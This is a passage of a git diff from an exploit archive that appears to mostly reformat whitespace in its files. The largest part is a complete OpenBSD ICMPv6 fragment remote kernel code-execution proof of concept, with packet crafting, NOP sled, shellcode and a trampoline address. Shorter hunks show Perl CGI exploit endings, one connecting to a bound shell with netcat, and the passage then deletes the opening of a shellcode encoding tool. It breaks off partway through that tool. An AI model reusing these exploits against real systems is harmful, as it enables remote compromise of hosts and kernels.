-        sourceIP = '\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x29\xff\xfe\x44\x68\x6f'  # source address
-        destIP   = '\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'  # destination address Multicast Link-level 
-        firstFragment, secondFragment = self.buildOpenBSDPackets(sourceIP,destIP)
-	validIcmp = self.buildValidICMPPacket(sourceIP,destIP)
-	
-	for i in range(100): # fill mbufs
-        	self.sendpacket(firstFragment)
-		self.sendpacket(validIcmp)
-		time.sleep(0.01)
-	for i in range(2): # Number of overflow packets to send. Increase if exploit is not reliable
-        	self.sendpacket(secondFragment)
-		time.sleep(0.1)
-        	self.sendpacket(firstFragment)
-		self.sendpacket(validIcmp)
-		time.sleep(0.1)
-
-    def sendpacket(self, data):
-        ipe = ImpactPacket.Ethernet()
-        ipe.set_ether_dhost(self.MACADDRESS)
-        ipd = ImpactPacket.Data(data)
-        ipd.ethertype = 0x86dd  # Ethertype for IPv6
-        ipe.contains(ipd)
-        p = ipe.get_packet()
-        self.s.send(p)
-
-    def buildOpenBSDPackets(self,sourceIP,destIP):
-        HopByHopLenght= 1
-
-        IPv6FragmentationHeader = ''
-        IPv6FragmentationHeader += struct.pack('!B', 0x3a)  # next header (00: Hop by Hop)
-        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # reserverd
-        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset
-        IPv6FragmentationHeader += struct.pack('!B', 0x01)  # offset + More fragments: yes
-        IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id
-
-        IPv6HopByHopHeader  = ''
-        IPv6HopByHopHeader += struct.pack('!B', 0x2c)                    # next header (0x3A: ICMP)
-        IPv6HopByHopHeader += struct.pack('!B', HopByHopLenght )         # Hdr Ext Len (frutaaaaaaa :D )
-        IPv6HopByHopHeader += '\x00' *(((HopByHopLenght+1)*8)-2)         # Options
-
-        longitud = len(IPv6HopByHopHeader)+len(IPv6FragmentationHeader)
-	print longitud
-        IPv6Packet  = ''
-        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic class, flow label
-        IPv6Packet += struct.pack( '>H', longitud )     # payload length
-        IPv6Packet += '\x00'                            # next header (2c: Fragmentation)
-        IPv6Packet += '\x40'                            # hop limit
-
-        IPv6Packet += sourceIP
-        IPv6Packet += destIP
-
-        firstFragment = IPv6Packet+IPv6HopByHopHeader+IPv6FragmentationHeader+('O'*150)
-
-	self.ShellCode =  ''
-        self.ShellCode += '\xcc' # int 3
-	self.ShellCode += '\x83\xc4\x20\x5b\x5e\x5f\xc9\xc3\xcc' #fix ESP and ret
-
-        ICMPv6Packet  = ''
-        ICMPv6Packet += '\x80'  # type (128 == Icmp echo request)
-        ICMPv6Packet += '\x00'  # code
-        ICMPv6Packet += '\xfb\x4e'  # checksum
-        ICMPv6Packet += '\x33\xf6'  # ID
-        ICMPv6Packet += '\x00\x00'  # sequence
-        ICMPv6Packet +=  ('\x90'*(212-len(self.ShellCode)))+self.ShellCode
-	# Start of the next mfub (we land here):
-	ICMPv6Packet += '\x90\x90\x90\x90\xE9\x3B\xFF\xFF' # jump backwards
-        ICMPv6Packet += '\xFFAAA\x01\x01\x01\x01AAAABBBBAAAABBBB' 
-	# mbuf+0x20:
-	trampoline = '\x8c\x23\x20\xd0' # jmp ESI on /bsd (find with "objdump -d /bsd | grep esi | grep jmp")
-        ICMPv6Packet += 'AAAAAAAA'+trampoline+'CCCCDDDDEEEEFFFFGGGG' 
-        longitud = len(ICMPv6Packet)
-
-
-	IPv6Packet  = ''
-        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic class, flow label
-        IPv6Packet += struct.pack( '>H', longitud )     # payload length
-        IPv6Packet += '\x2c'                            # next header (2c: Fragmentation)
-        IPv6Packet += '\x40'                            # hop limit
-        IPv6Packet += sourceIP
-        IPv6Packet += destIP
-
-        IPv6FragmentationHeader = ''
-        IPv6FragmentationHeader += struct.pack('!B', 0x3a)  # next header (3A: icmpV6)
-        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # reserverd
-        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset
-        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset + More fragments:no
-        IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id
-
-        secondFragment = IPv6Packet+IPv6FragmentationHeader+ICMPv6Packet
-
-        return firstFragment, secondFragment
-
-
-
-    def buildValidICMPPacket(self,sourceIP,destIP):
-
-        ICMPv6Packet  = ''
-        ICMPv6Packet += '\x80'  # type (128 == Icmp echo request)
-        ICMPv6Packet += '\x00'  # code
-        ICMPv6Packet += '\xcb\xc4'  # checksum
-        ICMPv6Packet += '\x33\xf6'  # ID
-        ICMPv6Packet += '\x00\x00'  # sequence
-	ICMPv6Packet += 'T'*1232
-
-        longitud = len(ICMPv6Packet)
-
-        IPv6Packet  = ''
-        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic class, flow label
-        IPv6Packet += struct.pack( '>H', longitud )     # payload length
-        IPv6Packet += '\x3A'                            # next header (2c: Fragmentation)
-        IPv6Packet += '\x40'                            # hop limit
-        IPv6Packet += sourceIP
-        IPv6Packet += destIP
-
-        icmpPacket = IPv6Packet+ICMPv6Packet
-
-        return  icmpPacket
-
-attack = BSD_ICMPv6_Remote_BO()
-attack.Run()
-
-# milw0rm.com [2007-03-15]
+# The PoC executes the shellcode (int 3) and returns. It overwrites the 
+# ext_free() function pointer on the mbuf and forces a m_freem() on the 
+# overflowed packet. 
+#
+# The Impacket library is used to craft and send packets 
+# (http://oss.coresecurity.com/projects/impacket.html or download from 
+# Debian repositories) 
+#
+# Currently, only systems supporting raw sockets and the PF_PACKET family 
+# can run the included proof-of-concept code. 
+#
+# Tested against a system running "OpenBSD 4.0 CURRENT (GENERIC) Mon Oct 
+# 30" 
+#
+# To use the code to test a custom machine you will need to: 1) Adjust the 
+# MACADDRESS variable 2) Find the right trampoline value for your system 
+# and replace it in the code. To find a proper trampoline value use the 
+# following command: "objdump -d /bsd | grep esi | grep jmp" 3) Adjust the 
+# ICMP checksum 
+#
+# The exploit should stop on an int 3 and pressing "c" in ddb the kernel 
+# will continue normally. 
+#
+#
+# Description:
+#   OpenBSD ICMPv6 fragment remote execution PoC
+#
+# Author:
+#   Alfredo Ortega
+#   Mario Vilas
+#
+# Copyright (c) 2001-2007 CORE Security Technologies, CORE SDI Inc.
+# All rights reserved
+
+from impacket import ImpactPacket
+import struct
+import socket
+import time
+
+class BSD_ICMPv6_Remote_BO:
+    MACADDRESS = (0x00,0x0c,0x29,0x44,0x68,0x6f)
+    def Run(self):
+        self.s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
+        self.s.bind(('eth0',0x86dd))
+        sourceIP = '\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x29\xff\xfe\x44\x68\x6f'  # source address
+        destIP   = '\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'  # destination address Multicast Link-level 
+        firstFragment, secondFragment = self.buildOpenBSDPackets(sourceIP,destIP)
+	validIcmp = self.buildValidICMPPacket(sourceIP,destIP)
+	
+	for i in range(100): # fill mbufs
+        	self.sendpacket(firstFragment)
+		self.sendpacket(validIcmp)
+		time.sleep(0.01)
+	for i in range(2): # Number of overflow packets to send. Increase if exploit is not reliable
+        	self.sendpacket(secondFragment)
+		time.sleep(0.1)
+        	self.sendpacket(firstFragment)
+		self.sendpacket(validIcmp)
+		time.sleep(0.1)
+
+    def sendpacket(self, data):
+        ipe = ImpactPacket.Ethernet()
+        ipe.set_ether_dhost(self.MACADDRESS)
+        ipd = ImpactPacket.Data(data)
+        ipd.ethertype = 0x86dd  # Ethertype for IPv6
+        ipe.contains(ipd)
+        p = ipe.get_packet()
+        self.s.send(p)
+
+    def buildOpenBSDPackets(self,sourceIP,destIP):
+        HopByHopLenght= 1
+
+        IPv6FragmentationHeader = ''
+        IPv6FragmentationHeader += struct.pack('!B', 0x3a)  # next header (00: Hop by Hop)
+        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # reserverd
+        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset
+        IPv6FragmentationHeader += struct.pack('!B', 0x01)  # offset + More fragments: yes
+        IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id
+
+        IPv6HopByHopHeader  = ''
+        IPv6HopByHopHeader += struct.pack('!B', 0x2c)                    # next header (0x3A: ICMP)
+        IPv6HopByHopHeader += struct.pack('!B', HopByHopLenght )         # Hdr Ext Len (frutaaaaaaa :D )
+        IPv6HopByHopHeader += '\x00' *(((HopByHopLenght+1)*8)-2)         # Options
+
+        longitud = len(IPv6HopByHopHeader)+len(IPv6FragmentationHeader)
+	print longitud
+        IPv6Packet  = ''
+        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic class, flow label
+        IPv6Packet += struct.pack( '>H', longitud )     # payload length
+        IPv6Packet += '\x00'                            # next header (2c: Fragmentation)
+        IPv6Packet += '\x40'                            # hop limit
+
+        IPv6Packet += sourceIP
+        IPv6Packet += destIP
+
+        firstFragment = IPv6Packet+IPv6HopByHopHeader+IPv6FragmentationHeader+('O'*150)
+
+	self.ShellCode =  ''
+        self.ShellCode += '\xcc' # int 3
+	self.ShellCode += '\x83\xc4\x20\x5b\x5e\x5f\xc9\xc3\xcc' #fix ESP and ret
+
+        ICMPv6Packet  = ''
+        ICMPv6Packet += '\x80'  # type (128 == Icmp echo request)
+        ICMPv6Packet += '\x00'  # code
+        ICMPv6Packet += '\xfb\x4e'  # checksum
+        ICMPv6Packet += '\x33\xf6'  # ID
+        ICMPv6Packet += '\x00\x00'  # sequence
+        ICMPv6Packet +=  ('\x90'*(212-len(self.ShellCode)))+self.ShellCode
+	# Start of the next mfub (we land here):
+	ICMPv6Packet += '\x90\x90\x90\x90\xE9\x3B\xFF\xFF' # jump backwards
+        ICMPv6Packet += '\xFFAAA\x01\x01\x01\x01AAAABBBBAAAABBBB' 
+	# mbuf+0x20:
+	trampoline = '\x8c\x23\x20\xd0' # jmp ESI on /bsd (find with "objdump -d /bsd | grep esi | grep jmp")
+        ICMPv6Packet += 'AAAAAAAA'+trampoline+'CCCCDDDDEEEEFFFFGGGG' 
+        longitud = len(ICMPv6Packet)
+
+
+	IPv6Packet  = ''
+        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic class, flow label
+        IPv6Packet += struct.pack( '>H', longitud )     # payload length
+        IPv6Packet += '\x2c'                            # next header (2c: Fragmentation)
+        IPv6Packet += '\x40'                            # hop limit
+        IPv6Packet += sourceIP
+        IPv6Packet += destIP
+
+        IPv6FragmentationHeader = ''
+        IPv6FragmentationHeader += struct.pack('!B', 0x3a)  # next header (3A: icmpV6)
+        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # reserverd
+        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset
+        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset + More fragments:no
+        IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id
+
+        secondFragment = IPv6Packet+IPv6FragmentationHeader+ICMPv6Packet
+
+        return firstFragment, secondFragment
+
+
+
+    def buildValidICMPPacket(self,sourceIP,destIP):
+
+        ICMPv6Packet  = ''
+        ICMPv6Packet += '\x80'  # type (128 == Icmp echo request)
+        ICMPv6Packet += '\x00'  # code
+        ICMPv6Packet += '\xcb\xc4'  # checksum
+        ICMPv6Packet += '\x33\xf6'  # ID
+        ICMPv6Packet += '\x00\x00'  # sequence
+	ICMPv6Packet += 'T'*1232
+
+        longitud = len(ICMPv6Packet)
+
+        IPv6Packet  = ''
+        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic class, flow label
+        IPv6Packet += struct.pack( '>H', longitud )     # payload length
+        IPv6Packet += '\x3A'                            # next header (2c: Fragmentation)
+        IPv6Packet += '\x40'                            # hop limit
+        IPv6Packet += sourceIP
+        IPv6Packet += destIP
+
+        icmpPacket = IPv6Packet+ICMPv6Packet
+
+        return  icmpPacket
+
+attack = BSD_ICMPv6_Remote_BO()
+attack.Run()
+
+# milw0rm.com [2007-03-15]
diff --git a/platforms/cgi/webapps/177.pl b/platforms/cgi/webapps/177.pl
index 24ae726f6..f0959e278 100755
--- a/platforms/cgi/webapps/177.pl
+++ b/platforms/cgi/webapps/177.pl
@@ -187,6 +187,6 @@ sub sendraw {
         } else {
 		die("can\'t connect... aborting.\n");
 	}
-}
-
-# milw0rm.com [2000-11-15]
+}
+
+# milw0rm.com [2000-11-15]
diff --git a/platforms/cgi/webapps/187.pl b/platforms/cgi/webapps/187.pl
index 193200063..1e2fec053 100755
--- a/platforms/cgi/webapps/187.pl
+++ b/platforms/cgi/webapps/187.pl
@@ -66,6 +66,6 @@ close(SOCKET);
 
 print("\nSleeping 5 seconds - waiting for the shell ...\n\n");
 sleep(5); system("nc -w 10 $target 60179"); exit(0);
-
-
-# milw0rm.com [2000-11-17]
+
+
+# milw0rm.com [2000-11-17]
diff --git a/platforms/cgi/webapps/922.pl b/platforms/cgi/webapps/922.pl
index cbaaee348..a42e88b16 100755
--- a/platforms/cgi/webapps/922.pl
+++ b/platforms/cgi/webapps/922.pl
@@ -62,6 +62,6 @@ while ($ans = <$s>)
    if ($flag == 1) { print " $ans"; }
    if ($ans =~ /^_N_/) { print " ===[ Executed command $cmd ]===============================\n"; $flag = 1 }
    
- }
-
-# milw0rm.com [2005-04-08]
+ }
+
+# milw0rm.com [2005-04-08]
diff --git a/platforms/cgi/webapps/923.pl b/platforms/cgi/webapps/923.pl
index 1f98bf848..02411018d 100755
--- a/platforms/cgi/webapps/923.pl
+++ b/platforms/cgi/webapps/923.pl
@@ -82,6 +82,6 @@ while (<$socket>)
  print $_;
  exit;
 }
-}
-
-# milw0rm.com [2005-04-08]
+}
+
+# milw0rm.com [2005-04-08]
diff --git a/platforms/generator/shellcode/13289.c b/platforms/generator/shellcode/13289.c
index c443c4180..00e03ca7a 100755
--- a/platforms/generator/shellcode/13289.c
+++ b/platforms/generator/shellcode/13289.c
@@ -1,501 +1,501 @@
-/*
-______________________________________________________________________________
-
-     ,sSSSis   ,sSSSs,   Beta v2.0 (w32).
-    iS"   dP  dY"  ,SP   Encodes binary data to/from a variety of formats.
-   .SP dSS"      ,sS"    Copyright (C) 2003-2005 by Berend-Jan Wever
-   dS'   Sb    ,sY"      <skylined@edup.tudelft.nl>
-  .SP dSSP'  sSSSSSSP    http://spaces.msn.com/members/berendjanwever
-_ iS:_________________________________________________________________________
-
-  This program is free software; you can redistribute it and/or modify it under
-  the terms of the GNU General Public License version 2, 1991 as published by
-  the Free Software Foundation.
-
-  This program is distributed in the hope that it will be useful, but WITHOUT
-  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
-  FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
-  details.
-
-  A copy of the GNU General Public License can be found at:
-    http://www.gnu.org/licenses/gpl.html
-  or you can write to:
-    Free Software Foundation, Inc.
-    59 Temple Place - Suite 330
-    Boston, MA  02111-1307
-    USA.
-*/
-
-#include <stdio.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <malloc.h>
-#include <string.h>
-#include <windows.h>
-
-#define MAX_BUFFER_SIZE 0x1000
-#define DEFAULT_PAD_BYTE 0x90
-#define MAX_MARKER_SIZE 0x10
-#define bool char
-#define true 1
-#define false 0
-
-char* hex = "0123456789abcdef";
-
-void version(void) {
-    printf(
-        "______________________________________________________________________________\n"
-        "\n"
-        "     ,sSSSis   ,sSSSs,   Beta v2.0.\n"
-        "    iS\"   dP  dY\"  ,SP   Encodes binary data to/from a variety of formats.\n"
-        "   .SP dSS\"      ,sS\"    Copyright (C) 2003-2005 by Berend-Jan Wever\n"
-        "   dS'   Sb    ,sY\"      <skylined@edup.tudelft.nl>\n"
-        "  .SP dSSP'  sSSSSSSP    http://spaces.msn.com/members/berendjanwever\n"
-        "_ iS:_________________________________________________________________________\n"
-        "\n"
-    );
-  return;
-}
-void help(void) {
-    printf(
-        "Beta was developed to convert raw binary shellcode into text that can be\n"
-        "used in exploit source-code. It can convert raw binary data to a large\n"
-        "number of encodings.\n"
-		"\n"
-        "  Usage: BETA [options] [input file name]\n"
-		"\n"
-        "  input file name           Read input from the given file. By default BETA\n"
-        "                            reads input from stdin.\n"
-		"\n"
-        "General options:\n"
-        "  --help                    Display this help and exit\n"
-        "  --version                 Output version information and exit\n"
-        "  --verbose                 Displays additional information.\n"
-        "  --pause                   Wait for keypress before exiting.\n"
-		"\n"
-		"Encoding options: (default = AA BB CC ...)\n"
-        "  \\x                        \\xAA\\xBB\\xCC ...\n"
-        "  0x                        0xAA 0xBB 0xCC ...\n"
-        "  %%                         %%AA%%BB%%CC...\n"
-        "  #                         &#111;&#222;&#33;...\n"
-        "  %%u                        %%uBBAA%%uDDCC...\n"
-        "  --noencode                Don't encode (only do checks).\n"
-		"\n"
-        "Layout options: (default = none)\n"
-        "  --chars/line=X            Output a new line after every X encoded bytes.\n"
-        "  --quotes                  Wrap output in quotes. Only usefull in combination\n"
-        "                            with chars/line argument.\n"
-        "  --quotesplus              Wrap output in quotes and add a '+' at the end\n"
-        "                            of each line. Only usefull in combination with\n"
-        "                            chars/line argument.\n"
-        "  --spaces                  Seperate encoding entities by spaces.\n"
-        "  --commas                  Seperate encoding entities by commas and spaces.\n"
-		"\n"
-		"Additional options:\n"
-		"  --padbyte=AA              When using a multibyte encoding (e.g. %%uXXXX)\n"
-		"                            the data might need some padding. The given byte\n"
-		"                            will be used, the default value is %02x.\n"
-		"  --badbytes[=AA[,BB[...]]] Check the input for presence of the given char-\n"
-		"                            acters and report where they are found. You can\n"
-		"                            supply a comma seperated list of hexadecimal\n"
-		"                            character codes and the keywords \"alpha\" and\n"
-		"                            \"print\" (to check for the presence of nonalpha-\n"
-		"                            numeric or non-printable characters). If no char-\n"
-		"                            acters are supplied, the input will be checked for\n"
-		"                            the presence of 00, 0A and 0D. \n"
-        "  --marker[=AA[,BB[...]]]   The input contains both garbage and data. The data\n"
-        "                            is wrapped by the marker bytes, everything before\n"
-        "                            the first set and after the last set of marker\n"
-        "                            bytes will be ignored. If no marker bytes are\n"
-        "                            supplied, \"CC CC CC\" (3xInt3) will be used.\n"
-        "                            You can supply up to %d bytes as marker.\n",
-        DEFAULT_PAD_BYTE, MAX_MARKER_SIZE
-    );
-  return;
-}
-
-// Find a set of bytes in another set of bytes
-char* find_bytes(char* haystack, int haystack_length, char* needle, int needle_length) {
-	int needle_start = -1, needle_checked = 1;
-	do {
-		if (haystack[needle_start+needle_checked] == needle[needle_checked])
-			// Yes, bytes match, check next byte of needle
-			needle_checked++;
-		else {
-			// No, no match, check next byte of haystack
-			needle_start++;
-			needle_checked = 0;
-		}
-		if (needle_start + needle_length > haystack_length)
-			// Not found.
-			return 0;
-	} while (needle_checked != needle_length);
-	// Found!
-	return haystack + needle_start;
-}
-
-int main(int argc, char** argv, char** envp) {
-
-	// This will contain the input data
-	char* buffer;
-	int buffer_length = 0;
-
-	// This will contain the marker
-	char marker[MAX_MARKER_SIZE];
-	int marker_length = 0;
-
-	// This will keep track of all "bad" bytes
-	char char_is_bad[0x100];
-    for (int i = 0; i < sizeof(char_is_bad)/sizeof(*char_is_bad); i++)
-    	char_is_bad[i] = false;
-
-	// These will store some values supplied by command line arguments
-	bool switch_verbose = false, switch_encode = true, switch_pause = false;
-	char pad_byte = DEFAULT_PAD_BYTE;
-    int chars_per_line = -1;
-    char *input_filename = 0;
-    char *line_header = "", *line_footer = "\n", *footer = "\n";
-    char *bytes_format = "%02X", *byte_seperator = "";
-    int bytes = 1;
-
-	//--------------------------------------------------------------------------
-	// Read and handle arguments
-    for (int argn = 1; argn < argc; argn++) {
-		//--help ---------------------------------------------------------------
-    	if (stricmp(argv[argn], "--help") == 0) {
-    		version();
-    		help();
-			if (switch_pause) getchar();
-    		exit(EXIT_SUCCESS);
-		//--version ------------------------------------------------------------
-    	} else if (stricmp(argv[argn], "--version") == 0) {
-    		version();
-			if (switch_pause) getchar();
-    		exit(EXIT_SUCCESS);
-		//--verbose ------------------------------------------------------------
-    	} else if (stricmp(argv[argn], "--verbose") == 0) {
-    		switch_verbose = true;
-		//--noencode -----------------------------------------------------------
-    	} else if (stricmp(argv[argn], "--noencode") == 0) {
-    		switch_encode = false;
-		//--noencode -----------------------------------------------------------
-    	} else if (stricmp(argv[argn], "--pause") == 0) {
-    		switch_pause = true;
-		//--chars/line= --------------------------------------------------------
-	    } else if (strnicmp(argv[argn], "--chars/line=", 13)==0) {
-	    	if ((chars_per_line = strtol(&(argv[argn][13]), NULL, 10)) < 1) {
-	    		printf("Illegal number of characters per line: \"%s\".\n", &(argv[argn][13]));
-	    		if (switch_pause) getchar();
-	    		exit(EXIT_FAILURE);
-	    	}
-		//--layout options -----------------------------------------------------
-	    } else if (strcmp(argv[argn], "--quote") == 0 || strcmp(argv[argn], "--quotes") == 0) {
-	        line_header = "\"";
-	        line_footer = "\"\n";
-	        footer = "\"\n";
-	    } else if (strcmp(argv[argn], "--quoteplus") == 0 || strcmp(argv[argn], "--quotesplus") == 0) {
-	        line_header = "\"";
-	        line_footer = "\" +\n";
-	        footer = "\"\n";
-	    } else if (strcmp(argv[argn], "--comma") == 0 || strcmp(argv[argn], "--commas") == 0) {
-	        byte_seperator = ", ";
-	    } else if (strcmp(argv[argn], "--space") == 0 || strcmp(argv[argn], "--spaces") == 0) {
-	        byte_seperator = " ";
-		//--encoding options ---------------------------------------------------
-	    } else if (stricmp(argv[argn], "\\x")==0) {
-	    	bytes_format = "\\x%02X";
-	    } else if (stricmp(argv[argn], "0x")==0) {
-	    	bytes_format = "0x%02X";
-	    } else if (stricmp(argv[argn], "#")==0) {
-	    	bytes_format = "&#%d;";
-	    } else if (stricmp(argv[argn], "%")==0) {
-	    	bytes_format = "%%%02X";
-	    } else if (stricmp(argv[argn], "%u")==0) {
-	    	bytes_format = "%%u%04X";
-	    	bytes = 2;
-		//--padbyte ------------------------------------------------------------
-	    } else if (strnicmp(argv[argn], "--padbyte=", 10) == 0) {
-	    	char* next_xarg;
-			pad_byte = strtol(&(argv[argn][10]), &next_xarg, 0x10);
-			if ((pad_byte & 0xFF) != pad_byte) {
-				printf("Incorrect value in padbyte argument: \"%s\".\n", &(argv[argn][11]));
-				printf("  Value cannot be converted to a byte ");
-				for (int i = 0; i < strlen(&(argv[argn][10])); i++)
-					printf("^");
-				printf("\n");
-				if (switch_pause) getchar();
-	    		exit(EXIT_FAILURE);
-			}
-			if (next_xarg == &(argv[argn][10])) {
-				printf("Incorrect byte encoding in padbyte argument: \"%s\".\n", &(argv[argn][10]));
-				if (switch_pause) getchar();
-	    		exit(EXIT_FAILURE);
-			}
-		//--badbytes -----------------------------------------------------------
-		} else if (stricmp(argv[argn], "--badbytes") == 0) {
-			char_is_bad[0x0] = true;
-			char_is_bad[0xA] = true;
-			char_is_bad[0xD] = true;
-		//--badbytes=XX,XX,... -------------------------------------------------
-	    } else if (strnicmp(argv[argn], "--badbytes=", 11) == 0) {
-			char* xarg = &(argv[argn][11]);
-			while (strlen(xarg) > 0) {
-				if (strnicmp(xarg, "alpha", 5) == 0) {
-					for (int i = 0; i < 0x100; i++) {
-						if (!isalnum(i)) char_is_bad[i] = true;
-					}
-					xarg += 5;
-				} else if (strnicmp(xarg, "print", 5) == 0) {
-					for (int i = 0; i < 0x100; i++) {
-						if (!isprint(i)) char_is_bad[i] = true;
-					}
-					xarg += 5;
-				} else {
-					char* next_xarg;
-					int decoded = strtol(xarg, &next_xarg, 0x10);
-					if ((decoded & 0xFF) != decoded) {
-						printf("Incorrect value in badbytes argument: \"%s\".\n", &(argv[argn][11]));
-						for (char* i = &(argv[argn][9]); i < xarg; i++)
-							printf(" ");
-						printf(" Value cannot be converted to a byte ");
-						for (char* i = xarg; i < next_xarg; i++)
-							printf("^");
-						printf("\n");
-						if (switch_pause) getchar();
-			    		exit(EXIT_FAILURE);
-					}
-					if (next_xarg == xarg) {
-						printf("Incorrect byte encoding in badbytes argument: \"%s\".\n", &(argv[argn][11]));
-						for (char* i = &(argv[argn][11]); i < xarg; i++)
-							printf(" ");
-						printf("                    Character '%c' not expected ^\n", *xarg);
-						if (switch_pause) getchar();
-			    		exit(EXIT_FAILURE);
-					}
-					
-					char_is_bad[decoded] = true;
-					xarg = next_xarg;
-				}
-				if (*xarg == ',') xarg++;
-			}
-		//--marker -------------------------------------------------------------
-	    } else if (stricmp(argv[argn], "--marker")==0) {
-	        marker_length = 3;
-	        for (int i = 0; i < marker_length; i++) marker[i] = 0xCC;
-		//--marker= ------------------------------------------------------------
-	    } else if (strnicmp(argv[argn], "--marker=", 9)==0) {
-			char* xarg = &(argv[argn][9]);
-			while (strlen(xarg) > 0) {
-				if (marker_length == MAX_MARKER_SIZE) {
-					printf("Given marker is too large, the maximum size is %d characters.\n", MAX_MARKER_SIZE);
-					if (switch_pause) getchar();
-		    		exit(EXIT_FAILURE);
-				}
-				char* next_xarg;
-				int decoded = strtol(xarg, &next_xarg, 0x10);
-				if ((decoded & 0xFF) != decoded) {
-					printf("Incorrect value in marker argument: \"%s\".\n", &(argv[argn][9]));
-					for (char* i = &(argv[argn][9]); i < xarg; i++)
-						printf(" ");
-					printf(" Value cannot be converted to a byte ");
-					for (char* i = xarg; i < next_xarg; i++)
-						printf("^");
-					printf("\n");
-					if (switch_pause) getchar();
-		    		exit(EXIT_FAILURE);
-				}
-				marker[marker_length] = decoded;
-				marker_length++;
-				if (next_xarg == xarg) {
-					printf("Incorrect byte encoding in marker argument: \"%s\".\n", &(argv[argn][9]));
-					for (char* i = &(argv[argn][9]); i < xarg; i++)
-						printf(" ");
-					printf("                  Character '%c' not expected ^\n", *xarg);
-					if (switch_pause) getchar();
-		    		exit(EXIT_FAILURE);
-				}
-				xarg = next_xarg;
-				if (*xarg == ',') xarg ++;
-			}
-	    } else {
-		//--input filename -----------------------------------------------------
-	    	if (input_filename != 0) {
-	    		printf(
-	    			"Two arguments are assumed to be file names, only one was expected:\n"
-	    			"\"%s\" and \"%s\"\n",
-	    			input_filename, argv[argn]
-	    		);
-	    		if (switch_pause) getchar();
-	    		exit(EXIT_FAILURE);
-	    	}
-	    	input_filename = argv[argn];
-    	}
-    }
-
-	if (switch_verbose) version();
-
-	if (input_filename == 0) {
-		// Read from STDIN -----------------------------------------------------
-		buffer = malloc(MAX_BUFFER_SIZE);
-		if (buffer == 0) {
-			printf("- Cannot allocate %d bytes of memory for input buffer.\n", MAX_BUFFER_SIZE);
-			if (switch_pause) getchar();
-    		exit(EXIT_FAILURE);
-		}
-		if (switch_verbose) printf("  Input _______________: STDIN, reading...");
-		while (buffer_length < MAX_BUFFER_SIZE && (buffer[buffer_length] = getchar()) != EOF) buffer_length++;
-		if (switch_verbose) {
-			if (buffer_length == MAX_BUFFER_SIZE)
-				printf("\r  Input _______________: STDIN, %d bytes (maximum size for input data).\n", buffer_length);
-			else
-				printf("\r  Input _______________: STDIN, %d bytes.\n", buffer_length);
-		}
-	} else {
-		// Read from file ------------------------------------------------------
-		int input_filedescriptor = 0;
-		if ((input_filedescriptor = open(input_filename, O_RDONLY | O_BINARY, 0)) == 0) {
-			printf("- Cannot open file \"%s\".\n", input_filename);
-			if (switch_pause) getchar();
-    		exit(EXIT_FAILURE);
-		}
-		if ((buffer_length = lseek(input_filedescriptor, 0, SEEK_END)) == -1) {
-			printf("- Cannot find end of file \"%s\".\n", input_filename);
-			if (switch_pause) getchar();
-    		exit(EXIT_FAILURE);
-		}
-		if (buffer_length == 0) {
-			printf("- File \"%s\" is empty.\n", input_filename);
-			if (switch_pause) getchar();
-    		exit(EXIT_FAILURE);
-		}
-		if (lseek(input_filedescriptor, 0, SEEK_SET) == -1) {
-			printf("- Cannot find start of file \"%s\".\n", input_filename);
-			if (switch_pause) getchar();
-    		exit(EXIT_FAILURE);
-		}
-		if (switch_verbose) printf("  Input file __________: \"%s\", %d bytes.\n", input_filename, buffer_length);
-		if ((buffer = malloc(buffer_length)) == 0) {
-			printf("- Cannot allocate %d bytes of memory for input buffer.\n", buffer_length);
-			if (switch_pause) getchar();
-    		exit(EXIT_FAILURE);
-		}
-		int bytes_read_total = 0;
-		while (bytes_read_total < buffer_length) {
-			int bytes_read = read(input_filedescriptor, buffer+bytes_read_total, buffer_length-bytes_read_total);
-			if (bytes_read == -1) {
-				printf("- Cannot read from file \"%s\".\n", input_filename);
-				if (switch_pause) getchar();
-	    		exit(EXIT_FAILURE);
-			}
-			if (bytes_read == 0) {
-				printf("- Cannot read more then %d bytes of file \"%s\".\n", bytes_read_total, input_filename);
-				buffer_length = bytes_read_total;
-				if (switch_pause) getchar();
-	    		exit(EXIT_FAILURE);
-			}
-			bytes_read_total += bytes_read;
-		}
-		close(input_filedescriptor);
-	}
-
-	// Cut out the part surrounded by the markers ------------------------------
-	if (marker_length > 0) {
-		if (switch_verbose) {
-			printf ("  Marker bytes ________:");
-			for (int i = 0; i < marker_length; i++)
-				printf(" %02X", marker[i] & 0xFF);
-			printf (".\n");
-		}
-		char *marker_start, *marker_end;
-		// find the first marker
-		marker_start = find_bytes(buffer, buffer_length, marker, marker_length);
-		if (marker_start == 0) {
-			printf("- Cannot find start marker.\n");
-			if (switch_pause) getchar();
-    		exit(EXIT_FAILURE);
-		}
-		marker_start += marker_length;
-		// find the second marker
-		marker_end = find_bytes(marker_start, buffer + buffer_length - marker_start, marker, marker_length);
-		if (marker_end == 0) {
-			printf("- Cannot find end marker.\n");
-			if (switch_pause) getchar();
-    		exit(EXIT_FAILURE);
-		}
